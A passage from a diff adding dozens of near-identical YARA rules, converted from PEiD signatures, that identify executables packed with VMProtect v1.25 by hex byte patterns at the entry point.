+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 50 57 9C 55 52 56 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02612_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 50 9C 53 55 57 52 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 83 C6 02 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02613_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 53 9C 56 57 56 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a
+}
+rule PEiD_02614_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 54 53 56 57 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02615_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 57 56 55 53 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02616_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 9C 50 53 57 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02617_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 53 52 55 9C 52 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02618_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 53 54 57 56 52 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02619_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 53 9C 52 56 55 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 EE FC E9}
+    condition:
+        $a
+}
+
+rule PEiD_02620_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 55 53 56 51 57 52 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02621_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 55 9C 57 57 56 52 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02622_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 53 53 9C 52 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02623_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 53 55 57 52 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5D 9D 5A 5F 5D 5B 5E 59 58 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02624_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 55 52 9C 57 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02625_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 9C 53 57 55 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02626_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 51 53 9C 55 56 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02627_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 51 57 56 55 56 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02628_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 51 9C 56 53 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02629_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 53 53 55 9C 57 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02630_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 53 56 51 55 9C 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02631_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 56 53 57 51 9C 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02632_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 56 9C 53 54 57 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02633_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 57 56 57 9C 51 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+rule PEiD_02634_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 57 9C 54 53 55 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02635_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 9C 50 55 53 51 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02636_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 9C 55 53 57 51 53 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02637_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 50 9C 51 57 52 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 EE FC 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02638_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 51 57 53 9C 52 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02639_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 52 51 55 55 56 57 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02640_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 54 52 57 51 55 56 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02641_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 56 52 56 51 9C 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 A7 72 45 00 C3}
+    condition:
+        $a
+}
+rule PEiD_02642_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 56 57 52 55 51 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02643_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 57 51 56 57 52 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02644_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 57 52 52 9C 56 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02645_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 57 52 9C 51 56 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02646_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 52 57 51 9C 53 54 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02647_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 53 51 57 9C 56 52 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02648_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 53 56 52 57 56 51 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02649_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 9C 52 53 51 52 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02650_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 9C 53 57 51 52 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+rule PEiD_02651_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 9C 56 57 57 51 52 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 8D 76 02 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02652_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 51 51 9C 52 55 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02653_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 52 53 55 57 9C 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02654_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 53 50 55 9C 51 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02655_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 53 51 55 57 52 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02656_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 52 53 51 55 9C 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 55 00 83 C5 02 8A 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02657_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 53 57 52 56 51 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02658_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 55 51 55 9C 56 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02659_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 52 53 57 51 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02660_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 53 51 55 51 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02661_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 53 55 51 56 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 C6 04 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02662_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 56 56 53 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02663_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 53 56 53 52 55 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02664_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 53 57 52 57 56 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02665_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 54 55 56 52 53 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+rule PEiD_02666_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 55 52 51 56 57 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02667_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 55 54 56 52 57 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02668_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 56 53 53 55 57 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02669_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
